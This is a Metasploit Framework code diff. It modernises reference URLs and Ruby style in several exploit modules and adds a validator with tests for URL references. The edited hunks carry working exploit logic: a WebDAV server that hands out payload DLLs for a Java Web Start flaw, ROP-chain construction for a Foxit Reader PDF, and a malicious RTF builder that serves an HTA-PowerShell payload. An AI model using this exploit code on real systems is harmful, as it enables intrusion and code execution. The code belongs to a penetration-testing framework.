diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb index 0f5b15bfcb..6c78bc1195 100644 --- a/modules/auxiliary/scanner/quake/server_info.rb +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -19,12 +19,12 @@ class MetasploitModule < Msf::Auxiliary }, 'Author' => 'Jon Hart ', 'References' => [ - ['URL', 'ftp://ftp.idsoftware.com/idstuff/quake3/docs/server.txt'] + ['URL', 'https://ftp.gwdg.de/pub/misc/ftp.idsoftware.com/idstuff/quake3/docs/server.txt'] ], 'License' => MSF_LICENSE, 'Actions' => [ - ['status', 'Description' => 'Use the getstatus command'], - ['info', 'Description' => 'Use the getinfo command'] + ['status', { 'Description' => 'Use the getstatus command' }], + ['info', { 'Description' => 'Use the getinfo command' }] ], 'DefaultAction' => 'status', 'Notes' => { @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary stuff else # try to get the host name, game name and version - stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) } + stuff.select { |k, _| %w[hostname sv_hostname gamename com_gamename version].include?(k) } end end diff --git a/modules/exploits/linux/http/grandstream_gxp1600_unauth_rce.rb b/modules/exploits/linux/http/grandstream_gxp1600_unauth_rce.rb index c98168c396..12975c2809 100644 --- a/modules/exploits/linux/http/grandstream_gxp1600_unauth_rce.rb +++ b/modules/exploits/linux/http/grandstream_gxp1600_unauth_rce.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ ['CVE', '2026-2329'], # Rapid7 advisory for CVE-2026-2329 - ['URL', 'www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'], + ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'], # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001) ['URL', 'https://psirt.grandstream.com/'], # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81. diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index 81ebe66a19..e3f8f7036e 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -40,8 +40,8 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2012-1533' ], [ 'OSVDB', '86348' ], [ 'BID', '56046'], - [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], - [ 'URL', 'http://pastebin.com/eUucVage '] + [ 'URL', 'https://www.oracle.com/security-alerts/javacpuoct2012.html' ], + [ 'URL', 'https://pastebin.com/eUucVage'] ], 'Platform' => 'win', 'Payload' => { @@ -72,8 +72,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), - OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]), + OptString.new('URIPATH', [ true, 'The URI to use.', '/' ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ]) ] ) @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote ret = nil # print_status("Agent: #{agent}") # Check for MSIE and/or WebDAV redirector requests - if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ + if agent =~ %r{(Windows NT (5|6)\.(0|1|2)|MiniRedir/(5|6)\.(0|1|2))} ret = targets[1] elsif agent =~ /MSIE (6|7|8)\.0/ ret = targets[1] @@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) - if (not mytarget) + if (!mytarget) send_not_found(cli) return end @@ -120,9 +120,9 @@ class MetasploitModule < Msf::Exploit::Remote end # If there is no subdirectory in the request, we need to redirect. - if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) + if (request.uri == '/') or !(request.uri =~ %r{/([^/]+)/}) if (request.uri == '/') - subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/' + subdir = '/' + rand_text_alphanumeric(rand(8..15)) + '/' else subdir = request.uri + '/' end @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote send_redirect(cli, subdir) return else - share_name = $1 + share_name = ::Regexp.last_match(1) end # dispatch WebDAV requests based on method first @@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote # # GET requests # - def process_get(cli, request, target, share_name) + def process_get(cli, request, _target, share_name) print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") # dispatch based on extension if (request.uri =~ /\.dll$/i) @@ -161,10 +161,10 @@ class MetasploitModule < Msf::Exploit::Remote # print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) # Generate a DLL based on the payload - dll_data = generate_payload_dll({ :code => p.encoded }) + dll_data = generate_payload_dll({ code: p.encoded }) # Send it :) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) elsif (request.uri =~ /\.jnlp$/i) @@ -176,11 +176,11 @@ class MetasploitModule < Msf::Exploit::Remote unc = datastore['UNCPATH'].dup else my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - unc = "\\\\" + my_host + "\\" + share_name + unc = '\\\\' + my_host + '\\' + share_name end # NOTE: we ensure there's only a single backslash here since it will get escaped - if unc[0, 2] == "\\\\" + if unc[0, 2] == '\\\\' unc.slice!(0, 1) end @@ -189,29 +189,29 @@ class MetasploitModule < Msf::Exploit::Remote # codebase, href and application-desc parameters successfully suppress java splash jnlp_data = <<~EOS - + Download - #{Rex::Text.rand_text_alpha(rand(10) + 10)} - #{Rex::Text.rand_text_alpha(rand(10) + 10)} + #{Rex::Text.rand_text_alpha(rand(10..19))} + #{Rex::Text.rand_text_alpha(rand(10..19))} - + EOS print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' }) else print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}") - jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8)) - jnlp_path = get_resource() + jnlp_name = Rex::Text.rand_text_alpha(rand(8..15)) + jnlp_path = get_resource if jnlp_path[-1, 1] != '/' jnlp_path << '/' end jnlp_path << request.uri.split('/')[-1] << '/' - jnlp_path << jnlp_name << ".jnlp" + jnlp_path << jnlp_name << '.jnlp' send_redirect(cli, jnlp_path, '') end end @@ -219,7 +219,7 @@ class MetasploitModule < Msf::Exploit::Remote # # OPTIONS requests sent by the WebDav Mini-Redirector # - def process_options(cli, request, target) + def process_options(cli, request, _target) print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") headers = { # 'DASL' => '', @@ -233,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote # # PROPFIND requests sent by the WebDav Mini-Redirector # - def process_propfind(cli, request, target) + def process_propfind(cli, request, _target) path = request.uri print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") body = '' @@ -242,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") # 45056 - body = %Q| + body = %( #{path} @@ -260,11 +260,11 @@ class MetasploitModule < Msf::Exploit::Remote -| - elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) +) + elsif (path =~ %r{/$}) or (!path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") - body = %Q| + body = %( #{path} @@ -281,14 +281,14 @@ class MetasploitModule < Msf::Exploit::Remote -| +) else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response - resp = create_response(207, "Multi-Status") + resp = create_response(207, 'Multi-Status') resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) @@ -299,7 +299,7 @@ class MetasploitModule < Msf::Exploit::Remote # def exploit if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/') - raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' + raise 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end super diff --git a/modules/exploits/windows/fileformat/foxit_reader_uaf.rb b/modules/exploits/windows/fileformat/foxit_reader_uaf.rb index 65bd81fea2..c9617bad3a 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_uaf.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_uaf.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote ['ZDI', '18-332'], ['ZDI', '18-342'], ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'], - ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt'] + ['URL', 'https://srcincite.io/pocs/cve-2018-99%7B48,58%7D.pdf.txt'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true, @@ -82,16 +82,16 @@ class MetasploitModule < Msf::Exploit::Remote rop = '' max_index = 0 - share_path.unpack('V*').each_with_index { |blk, index| + share_path.unpack('V*').each_with_index do |blk, index| rop << "\nrop[0x%02x] = 0x%08x;" % [index + 12, blk] max_index = index - } + end (max_index + 1).upto(10) { |i| rop << "\nrop[0x%02x] = 0x00000000;" % (i + 12) } begin template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf')) - pdf_doc = ERB.new(template).result(binding()) + pdf_doc = ERB.new(template).result(binding) pdf_doc rescue Errno::ENOENT fail_with(Failure::NotFound, 'The PDF template was not found') diff --git a/modules/exploits/windows/fileformat/office_word_hta.rb b/modules/exploits/windows/fileformat/office_word_hta.rb index 9f4e288935..2b21d1783b 100644 --- a/modules/exploits/windows/fileformat/office_word_hta.rb +++ b/modules/exploits/windows/fileformat/office_word_hta.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Microsoft Office Word Malicious Hta Execution", + 'Name' => 'Microsoft Office Word Malicious Hta Execution', 'Description' => %q{ This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/'], ['URL', 'https://www.microsoft.com/en-us/download/details.aspx?id=10725'], ['URL', 'https://msdn.microsoft.com/en-us/library/dd942294.aspx'], - ['URL', 'https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/[MS-CFB].pdf'], + ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199'] ], 'Platform' => 'win', @@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" uri = Rex::Text.hexify(Rex::Text.to_unicode(uri)) uri.delete!("\n") - uri.delete!("\\x") - uri.delete!("\\") + uri.delete!('\\x') + uri.delete!('\\') padding_length = uri_maxlength * 2 - uri.length fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length < 0 - padding_length.times { uri << "0" } + padding_length.times { uri << '0' } uri end @@ -98,38 +98,38 @@ class MetasploitModule < Msf::Exploit::Remote # ministream = ole.instance_variable_get(:@ministream) # ministream_data = ministream.instance_variable_get(:@data) - ministream_data = "" - ministream_data << "01000002090000000100000000000000" # 00000000: ................ - ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y - ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K...... + ministream_data = '' + ministream_data << '01000002090000000100000000000000' # 00000000: ................ + ministream_data << '0000000000000000a4000000e0c9ea79' # 00000010: ...............y + ministream_data << 'f9bace118c8200aa004ba90b8c000000' # 00000020: .........K...... ministream_data << generate_uri - ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.] - ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............ - ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F - ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................ - ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7........... - ministream_data << "00000000000000000000000000000000" # 000000f0: ................ - ministream_data << "100203000d0000000000000000000000" # 00000100: ................ - ministream_data << "00000000000000000000000000000000" # 00000110: ................ - ministream_data << "00000000000000000000000000000000" # 00000120: ................ - ministream_data << "00000000000000000000000000000000" # 00000130: ................ - ministream_data << "00000000000000000000000000000000" # 00000140: ................ - ministream_data << "00000000000000000000000000000000" # 00000150: ................ - ministream_data << "00000000000000000000000000000000" # 00000160: ................ - ministream_data << "00000000000000000000000000000000" # 00000170: ................ - ministream_data << "00000000000000000000000000000000" # 00000180: ................ - ministream_data << "00000000000000000000000000000000" # 00000190: ................ - ministream_data << "00000000000000000000000000000000" # 000001a0: ................ - ministream_data << "00000000000000000000000000000000" # 000001b0: ................ - ministream_data << "00000000000000000000000000000000" # 000001c0: ................ - ministream_data << "00000000000000000000000000000000" # 000001d0: ................ - ministream_data << "00000000000000000000000000000000" # 000001e0: ................ - ministream_data << "00000000000000000000000000000000" # 000001f0: ................ + ministream_data << '00000000795881f43b1d7f48af2c825d' # 000000a0: ....yX..;..H.,.] + ministream_data << 'c485276300000000a5ab0000ffffffff' # 000000b0: ..'c............ + ministream_data << '0609020000000000c000000000000046' # 000000c0: ...............F + ministream_data << '00000000ffffffff0000000000000000' # 000000d0: ................ + ministream_data << '906660a637b5d2010000000000000000' # 000000e0: .f`.7........... + ministream_data << '00000000000000000000000000000000' # 000000f0: ................ + ministream_data << '100203000d0000000000000000000000' # 00000100: ................ + ministream_data << '00000000000000000000000000000000' # 00000110: ................ + ministream_data << '00000000000000000000000000000000' # 00000120: ................ + ministream_data << '00000000000000000000000000000000' # 00000130: ................ + ministream_data << '00000000000000000000000000000000' # 00000140: ................ + ministream_data << '00000000000000000000000000000000' # 00000150: ................ + ministream_data << '00000000000000000000000000000000' # 00000160: ................ + ministream_data << '00000000000000000000000000000000' # 00000170: ................ + ministream_data << '00000000000000000000000000000000' # 00000180: ................ + ministream_data << '00000000000000000000000000000000' # 00000190: ................ + ministream_data << '00000000000000000000000000000000' # 000001a0: ................ + ministream_data << '00000000000000000000000000000000' # 000001b0: ................ + ministream_data << '00000000000000000000000000000000' # 000001c0: ................ + ministream_data << '00000000000000000000000000000000' # 000001d0: ................ + ministream_data << '00000000000000000000000000000000' # 000001e0: ................ + ministream_data << '00000000000000000000000000000000' # 000001f0: ................ ministream_data end def create_rtf_format - template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf") + template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-0199.rtf') template_rtf = ::File.open(template_path, 'rb') data = template_rtf.read(template_rtf.stat.size) @@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote data end - def on_request_uri(cli, req) + def on_request_uri(cli, _req) p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote 'win', p.encoded, 'hta-psh', - { :arch => ARCH_X86, :platform => 'win' } + { arch: ARCH_X86, platform: 'win' } ) send_response(cli, data, 'Content-Type' => 'application/hta') diff --git a/modules/exploits/windows/fileformat/word_mshtml_rce.rb b/modules/exploits/windows/fileformat/word_mshtml_rce.rb index 15663fd7e1..8eda9826db 100644 --- a/modules/exploits/windows/fileformat/word_mshtml_rce.rb +++ b/modules/exploits/windows/fileformat/word_mshtml_rce.rb @@ -24,13 +24,13 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2021-40444'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'], ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'], - ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'], + ['URL', 'https://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/%5Bms-cab%5D.pdf'], ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'], ['URL', 'https://github.com/klezVirus/CVE-2021-40444'] ], 'Author' => [ - 'lockedbyte ', # Vulnerability discovery. - 'klezVirus ', # References and PoC. + 'lockedbyte', # Vulnerability discovery. + 'klezVirus', # References and PoC. 'thesunRider', # Official Metasploit module. 'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring. ], diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 502252ba06..ce737ccecc 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post 'SessionTypes' => ['meterpreter'], 'Author' => ['Danil Bazin '], # @danilbaz 'References' => [ - ['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'], + ['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker%20Drive%20Encryption%20%28BDE%29%20format.asciidoc'], ['URL', 'https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/'], ], 'Notes' => { diff --git a/spec/module_validation_spec.rb b/spec/module_validation_spec.rb index 04f505615f..765eeb2a3b 100644 --- a/spec/module_validation_spec.rb +++ b/spec/module_validation_spec.rb @@ -331,6 +331,46 @@ RSpec.describe ModuleValidation::Validator do end end + context 'when the references contains URL values' do + let(:mod_options) do + super().merge(references: [ + Msf::Module::SiteReference.new('URL', 'not a valid url'), + Msf::Module::SiteReference.new('URL', 'ftp://example.com/file.txt'), + Msf::Module::SiteReference.new('URL', 'ht tp://example.com'), + Msf::Module::SiteReference.new('URL', 'example.com/exploit/research') + ]) + end + + it 'has errors for invalid URL references' do + expect(subject.errors.full_messages).to include( + "References URL reference 'not a valid url' is not a valid HTTP(s) URI with valid percent encoding", + "References URL reference 'ftp://example.com/file.txt' is not a valid HTTP(s) URI with valid percent encoding", + "References URL reference 'ht tp://example.com' is not a valid HTTP(s) URI with valid percent encoding", + "References URL reference 'example.com/exploit/research' is not a valid HTTP(s) URI with valid percent encoding" + ) + end + + context 'with only HTTP URL references' do + let(:mod_options) do + super().merge(references: [Msf::Module::SiteReference.new('URL', 'http://example.com/path')]) + end + + it 'has no errors' do + expect(subject.errors.full_messages).to be_empty + end + end + + context 'with only valid HTTPS URL references' do + let(:mod_options) do + super().merge(references: [Msf::Module::SiteReference.new('URL', 'https://example.com/path')]) + end + + it 'has no errors' do + expect(subject.errors.full_messages).to be_empty + end + end + end + context 'when targets and default target are present' do let(:mod_options) do super().merge( diff --git a/spec/support/lib/module_validation.rb b/spec/support/lib/module_validation.rb index 353e76e268..89c6c22cd9 100644 --- a/spec/support/lib/module_validation.rb +++ b/spec/support/lib/module_validation.rb @@ -36,6 +36,7 @@ module ModuleValidation validate :validate_description_does_not_contain_non_printable_chars validate :validate_name_does_not_contain_non_printable_chars validate :validate_attack_reference_format + validate :validate_url_reference_format attr_reader :mod @@ -187,6 +188,23 @@ module ModuleValidation end end + def validate_url_reference_format + references.each do |ref| + next unless ref.respond_to?(:ctx_id) && ref.respond_to?(:ctx_val) + next unless ref.ctx_id == 'URL' + + val = ref.ctx_val + begin + uri = URI.parse(val) + unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS) + errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding" + end + rescue URI::InvalidURIError => e + errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding" + end + end + end + def has_notes? !notes.empty? end